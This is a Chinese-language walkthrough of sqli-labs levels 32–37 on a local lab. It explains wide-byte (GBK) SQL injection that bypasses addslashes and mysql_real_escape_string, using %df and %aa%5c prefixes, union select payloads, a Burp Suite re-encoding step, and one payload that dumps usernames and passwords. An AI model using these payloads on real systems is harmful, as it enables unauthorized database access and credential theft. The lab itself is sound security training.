Less-32
宽字节注入
参考文章链接:
https://blog.csdn.net/helloc0de/article/details/76180190
https://blog.csdn.net/heiseweiye/article/details/82723478
宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
中文、韩文、日文等均存在宽字节,英文默认都是一个字节。
在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题。
例子: id= 1’ 处理 1 \’ 进行编码 1%5c%27 带入sql后 id = \’ and XXXX 此时无法完成注入
id=1%df’ 处理 1%df\’ 进行编码 1%df%5c%27 带入sql后 id =1運’ and XXX 此时存在宽字节注入漏洞
推荐解码网站: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp
方法一
这一关我们回到phpstudy上做
尝试注入点,发现出现了转义
http://127.0.0.1/sqli-labs-master/Less-32/?id=1'
根据宽字节的知识,添加%df,后面加单引号,也可以跟%27
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df'
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df%27
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df%27--+ 返回正确
接下来的语句就是联合查询,例子如下,其他语句请参照第一关
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df%27 union select 1,2,3--+
方法二
因为%5c代表\ ,只要是我们能将返回的结果中对于单引号没有转义字符进行处理即可,所以我们只要用字母组合使其形成宽字节,从而使\(斜杠)失效,例如我们这里用%aa和%5c进行组合,这里aa是可以改变的
http://127.0.0.1/sqli-labs-master/Less-32/?id=1%aa%5c'--+ 这里出现注入点
接下来可以使用联合查询,具体语句参照第一关
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%aa%5c' union select 1,2,3--+
Less-33
?id=1' 出现了转义
查看源码,这一关使用的是函数过滤,上一关是自定义过滤
我们继续使用宽字节注入,使用上一关中的哪种方法都可以
http://127.0.0.1/sqli-labs-master/Less-33/?id=1%df'--+
其他均与上一关相同,语句可以参照第一关中的联合查询语句
Less-34
首先在Post的情况下传入值的回显情况,输入账号密码均为admin
输入账号密码均为a,发现显示错误
输入账号密码均为a%df' 尝试宽字节注入,但发现失败了
查看源码我们发现本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是发现,此方法并不奏效。
我们输入账号a%df' 密码 111 ,进行抓包
我们发现最后的语句中多了%25,%25是百分号的码,又发生了一次编码,所以无法成功
接下来有两种方法
方法一
把%25重新修改为%,改为我们想要的句子,为了避免转码,我们直接在Burp Suite里修改
把语句放回关卡中,发现成功了
接下来的语句和联合查询一样,在burpsuite里输入,和上面步骤一样,此处省略
方法二
将单引号的UTF-8转换为UTF-16的单引号模式 ‘à �’
传入的数据:1 �‘ union select 1,2# (注意:在这里不能够再使用--+ -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字
接下来可以使用联合查询语句,此处不再赘述
Less-35 无包裹
我们输入?id=1 发现没有出现问题
因此我们直接进行注入即可,没有涉及到转义,所以就和第一关一样了,此处不再赘述
Less-36
使用单引号进行包裹
http://127.0.0.1/sqli-labs-master/Less-36/?id=1'
我们发现单引号被转义,所以使用宽字节注入,具体请参照第32关
http://127.0.0.1/sqli-labs-master/Less-36/?id=-1%df'union select 1,2,group_concat(concat_ws(0x7e,username,password))from security.users --+
Less-37
输入 admin admin 登陆成功
输入 a a 登陆失败
输入 a%df' a%df' 登陆失败
由此我们发现它和第34关一样,查看源码 得知本关只是将过滤函数进行了替换: mysql_real_escape_string(),我们可以直接按照34关的方法即可,此处不再赘述
关于mysql_real_escape_string()函数的详情,可以参考下面的网址
https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp